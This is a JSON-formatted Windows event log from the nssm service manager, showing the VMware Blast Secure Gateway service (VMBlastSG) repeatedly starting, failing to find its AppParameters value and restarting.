{"@timestamp":1646812802890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165648}}
{"@timestamp":1646812802890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165649}}
{"@timestamp":1646812931396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165650}}
{"@timestamp":1646812931396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165651}}
{"@timestamp":1646812931397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161936","0"]}}},"module":"Application","provider":"nssm","sequence":165652}}
{"@timestamp":1646812931398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161936","161936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165653}}
{"@timestamp":1646812931417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165654}}
{"@timestamp":1646812931417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165655}}
{"@timestamp":1646812931418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165656}}
{"@timestamp":1646812931418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165657}}
{"@timestamp":1646813060004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165658}}
{"@timestamp":1646813060006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165659}}
{"@timestamp":1646813060006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159820","0"]}}},"module":"Application","provider":"nssm","sequence":165660}}
{"@timestamp":1646813060007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159820","159820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165661}}
{"@timestamp":1646813060034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162392","0"]}}},"module":"Application","provider":"nssm","sequence":165662}}
{"@timestamp":1646813060035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162392","159820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165663}}
{"@timestamp":1646813060053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165664}}
{"@timestamp":1646813060053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165665}}
{"@timestamp":1646813060054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165666}}
{"@timestamp":1646813060054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165667}}
{"@timestamp":1646813189001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165668}}
{"@timestamp":1646813189003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165669}}
{"@timestamp":1646813189005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160812","0"]}}},"module":"Application","provider":"nssm","sequence":165670}}
{"@timestamp":1646813189005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160812","160812","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165671}}
{"@timestamp":1646813189029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165672}}
{"@timestamp":1646813189031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165673}}
{"@timestamp":1646813189042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165674}}
{"@timestamp":1646813189043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165675}}
{"@timestamp":1646813317550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165676}}
{"@timestamp":1646813317550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165677}}
{"@timestamp":1646813317551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159848","0"]}}},"module":"Application","provider":"nssm","sequence":165678}}
{"@timestamp":1646813317551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159848","159848","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165679}}
{"@timestamp":1646813317567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161740","0"]}}},"module":"Application","provider":"nssm","sequence":165680}}
{"@timestamp":1646813317567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161740","159848","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165681}}
{"@timestamp":1646813317619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165682}}
{"@timestamp":1646813317621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165683}}
{"@timestamp":1646813317622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165684}}
{"@timestamp":1646813317623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165685}}
{"@timestamp":1646813446118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165686}}
{"@timestamp":1646813446119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165687}}
{"@timestamp":1646813446119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162440","0"]}}},"module":"Application","provider":"nssm","sequence":165688}}
{"@timestamp":1646813446120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162440","162440","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165689}}
{"@timestamp":1646813446139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165690}}
{"@timestamp":1646813446140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165691}}
{"@timestamp":1646813446140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165692}}
{"@timestamp":1646813446141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165693}}
{"@timestamp":1646813574653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165694}}
{"@timestamp":1646813574654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165695}}
{"@timestamp":1646813574655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162572","0"]}}},"module":"Application","provider":"nssm","sequence":165696}}
{"@timestamp":1646813574656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162572","162572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165697}}
{"@timestamp":1646813574685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165698}}
{"@timestamp":1646813574685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165699}}
{"@timestamp":1646813574685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165700}}
{"@timestamp":1646813574686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165701}}
{"@timestamp":1646813703176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165702}}
{"@timestamp":1646813703177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165703}}
{"@timestamp":1646813703178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160328","0"]}}},"module":"Application","provider":"nssm","sequence":165704}}
{"@timestamp":1646813703180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160328","160328","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165705}}
{"@timestamp":1646813703202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165706}}
{"@timestamp":1646813703203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165707}}
{"@timestamp":1646813703203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165708}}
{"@timestamp":1646813703204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165709}}
{"@timestamp":1646813831794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165710}}
{"@timestamp":1646813831795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165711}}
{"@timestamp":1646813831796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159200","0"]}}},"module":"Application","provider":"nssm","sequence":165712}}
{"@timestamp":1646813831796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159200","159200","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165713}}
{"@timestamp":1646813831815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165714}}
{"@timestamp":1646813831815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165715}}
{"@timestamp":1646813831816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165716}}
{"@timestamp":1646813831817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165717}}
{"@timestamp":1646813960435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165718}}
{"@timestamp":1646813960436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165719}}
{"@timestamp":1646813960438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162320","0"]}}},"module":"Application","provider":"nssm","sequence":165720}}
{"@timestamp":1646813960439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162320","162320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165721}}
{"@timestamp":1646813960461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162696","0"]}}},"module":"Application","provider":"nssm","sequence":165722}}
{"@timestamp":1646813960462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162696","162320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165723}}
{"@timestamp":1646813960481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165724}}
{"@timestamp":1646813960482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165725}}
{"@timestamp":1646813960483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165726}}
{"@timestamp":1646813960484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165727}}
{"@timestamp":1646814088990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165728}}
{"@timestamp":1646814088991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165729}}
{"@timestamp":1646814088992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162336","0"]}}},"module":"Application","provider":"nssm","sequence":165730}}
{"@timestamp":1646814088992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162336","162336","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165731}}
{"@timestamp":1646814089018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165732}}
{"@timestamp":1646814089019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165733}}
{"@timestamp":1646814089019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165734}}
{"@timestamp":1646814089020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165735}}
{"@timestamp":1646814217621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165736}}
{"@timestamp":1646814217622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165737}}
{"@timestamp":1646814217625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162148","0"]}}},"module":"Application","provider":"nssm","sequence":165738}}
{"@timestamp":1646814217626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162148","162148","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165739}}
{"@timestamp":1646814217645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161748","0"]}}},"module":"Application","provider":"nssm","sequence":165740}}
{"@timestamp":1646814217646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161748","162148","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165741}}
{"@timestamp":1646814217663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165742}}
{"@timestamp":1646814217664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165743}}
{"@timestamp":1646814217664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165744}}
{"@timestamp":1646814217666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165745}}
{"@timestamp":1646814346282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165746}}
{"@timestamp":1646814346283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165747}}
{"@timestamp":1646814346287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162108","0"]}}},"module":"Application","provider":"nssm","sequence":165748}}
{"@timestamp":1646814346287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162108","162108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165749}}
{"@timestamp":1646814346310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165750}}
{"@timestamp":1646814346311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165751}}
{"@timestamp":1646814346311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165752}}
{"@timestamp":1646814346312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165753}}
